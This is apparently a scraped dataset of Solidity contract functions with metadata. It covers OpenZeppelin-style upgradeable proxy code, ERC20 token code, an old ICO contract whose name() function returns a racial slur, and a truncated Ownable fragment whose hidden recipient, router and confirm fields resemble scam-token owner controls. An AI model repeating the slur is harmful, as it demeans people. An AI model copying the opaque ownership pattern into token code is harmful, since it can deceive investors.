contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Proxy | abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disabl... | /**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
... | NatSpecMultiLine | /**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
1951,
2023
]
} | 25,900 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Proxy | abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disabl... | /**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
... | NatSpecMultiLine | /**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
2184,
2255
]
} | 25,901 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Proxy | abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disabl... | /**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
... | NatSpecMultiLine | _beforeFallback | function _beforeFallback() internal virtual {
}
| /**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
2539,
2596
]
} | 25,902 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
... | /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
606,
1033
]
} | 25,903 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address... | /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `tr... | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
1963,
2365
]
} | 25,904 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw ... | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
3121,
3299
]
} | 25,905 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
3524,
3724
]
} | 25,906 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
4094,
4325
]
} | 25,907 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disa... | /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
4576,
5111
]
} | 25,908 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionStaticCall | function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
5291,
5495
]
} | 25,909 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionStaticCall | function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.stat... | /**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
5682,
6109
]
} | 25,910 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionDelegateCall | function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
6291,
6496
]
} | 25,911 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionDelegateCall | function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.deleg... | /**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
6685,
7113
]
} | 25,912 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | UpgradeableProxy | contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating ... | /**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storag... | NatSpecMultiLine | _implementation | function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
| /**
* @dev Returns the current implementation address.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
1253,
1514
]
} | 25,913 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | UpgradeableProxy | contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating ... | /**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storag... | NatSpecMultiLine | _upgradeTo | function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
| /**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
1635,
1803
]
} | 25,914 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | UpgradeableProxy | contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating ... | /**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storag... | NatSpecMultiLine | _setImplementation | function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImpl... | /**
* @dev Stores a new address in the EIP1967 implementation slot.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
1894,
2268
]
} | 25,915 |
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | admin | function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
| /**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] ... | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
1703,
1803
]
} | 25,916 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | implementation | function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
| /**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`e... | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
2269,
2405
]
} | 25,917 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | changeAdmin | function changeAdmin(address newAdmin) external virtual ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
| /**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
2614,
2873
]
} | 25,918 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | upgradeTo | function upgradeTo(address newImplementation) external virtual ifAdmin {
_upgradeTo(newImplementation);
}
| /**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
3035,
3159
]
} | 25,919 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | upgradeToAndCall | function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin {
_upgradeTo(newImplementation);
Address.functionDelegateCall(newImplementation, data);
}
| /**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {Proxy... | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
3539,
3763
]
} | 25,920 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | _admin | function _admin() internal view virtual returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
| /**
* @dev Returns the current admin.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
3824,
4056
]
} | 25,921 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | _setAdmin | function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
| /**
* @dev Stores a new address in the EIP1967 admin slot.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
4138,
4359
]
} | 25,922 | ||
AssetProxy | AssetProxy.sol | 0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936 | Solidity | TransparentUpgradeableProxy | contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, addre... | _beforeFallback | function _beforeFallback() internal virtual override {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
| /**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/ | NatSpecMultiLine | v0.8.2+commit.661d1103 | Unknown | ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66 | {
"func_code_index": [
4480,
4692
]
} | 25,923 | ||
NigerTokenICO | NigerTokenICO.sol | 0xc816463eb290e47ff512c04121142d1d85a3cdc2 | Solidity | NigerTokenICO | contract NigerTokenICO {
function name() constant returns (string) { return "NiggerCoin"; }
function symbol() constant returns (string) { return "NGR"; }
function decimals() constant returns (uint8) { return 4; }
uint256 public INITIAL_SUPPLY;
uint256 public totalSupply;
uint256 pu... | function () payable {
uint256 tryAmount = div((mul(msg.value, rate)), 1 ether); //Don't let people buy more tokens than there are.
if (msg.value == 0 || msg.value < 0 || balanceOf(owner) < tryAmount) { //If zero ether is sent, kill. Do nothing.
revert();
}
amount =... | //This function is called when Ether is sent to the contract address
//Even if 0 ether is sent. | LineComment | v0.4.13+commit.fb4cb1a | bzzr://8530e9de693cf558c2f32dec9f7a36e490a11a91233ff96627fa1a8514567447 | {
"func_code_index": [
1000,
1892
]
} | 25,924 | ||||
QCStandardToken | QCStandardToken.sol | 0xe74b35425fe7e33ea190b149805baf31139a8290 | Solidity | Token | contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public ... | balanceOf | function balanceOf(address _owner) constant returns (uint256 balance);
| /// @param _owner The address from which the balance will be retrieved
/// @return The balance | NatSpecSingleLine | v0.4.13+commit.fb4cb1a | None | bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a | {
"func_code_index": [
629,
704
]
} | 25,925 | ||
QCStandardToken | QCStandardToken.sol | 0xe74b35425fe7e33ea190b149805baf31139a8290 | Solidity | Token | contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public ... | transfer | function transfer(address _to, uint256 _value) returns (bool success);
| /// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not | NatSpecSingleLine | v0.4.13+commit.fb4cb1a | None | bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a | {
"func_code_index": [
941,
1016
]
} | 25,926 | ||
QCStandardToken | QCStandardToken.sol | 0xe74b35425fe7e33ea190b149805baf31139a8290 | Solidity | Token | contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public ... | transferFrom | function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
| /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not | NatSpecSingleLine | v0.4.13+commit.fb4cb1a | None | bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a | {
"func_code_index": [
1339,
1433
]
} | 25,927 | ||
QCStandardToken | QCStandardToken.sol | 0xe74b35425fe7e33ea190b149805baf31139a8290 | Solidity | Token | contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public ... | approve | function approve(address _spender, uint256 _value) returns (bool success);
| /// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not | NatSpecSingleLine | v0.4.13+commit.fb4cb1a | None | bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a | {
"func_code_index": [
1723,
1802
]
} | 25,928 | ||
QCStandardToken | QCStandardToken.sol | 0xe74b35425fe7e33ea190b149805baf31139a8290 | Solidity | Token | contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public ... | allowance | function allowance(address _owner, address _spender) constant returns (uint256 remaining);
| /// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent | NatSpecSingleLine | v0.4.13+commit.fb4cb1a | None | bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a | {
"func_code_index": [
2010,
2105
]
} | 25,929 | ||
QCStandardToken | QCStandardToken.sol | 0xe74b35425fe7e33ea190b149805baf31139a8290 | Solidity | QCStandardToken | contract QCStandardToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
revert();
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one... | QCStandardToken | function QCStandardToken(
) {
balances[msg.sender] = 10000000000 * 1000000000000000000; // Give the creator all initial tokens
totalSupply = 10000000000 * 1000000000000000000; // Update total supply
name = "QCASH"; // Set the nam... | //0.1 standard. Just an arbitrary versioning scheme. | LineComment | v0.4.13+commit.fb4cb1a | None | bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a | {
"func_code_index": [
921,
1478
]
} | 25,930 | ||
QCStandardToken | QCStandardToken.sol | 0xe74b35425fe7e33ea190b149805baf31139a8290 | Solidity | QCStandardToken | contract QCStandardToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
revert();
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one... | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually s... | /* Approves and then calls the receiving contract */ | Comment | v0.4.13+commit.fb4cb1a | None | bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a | {
"func_code_index": [
1539,
2347
]
} | 25,931 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | Ownable | contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipient... | renounceOwnership | function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
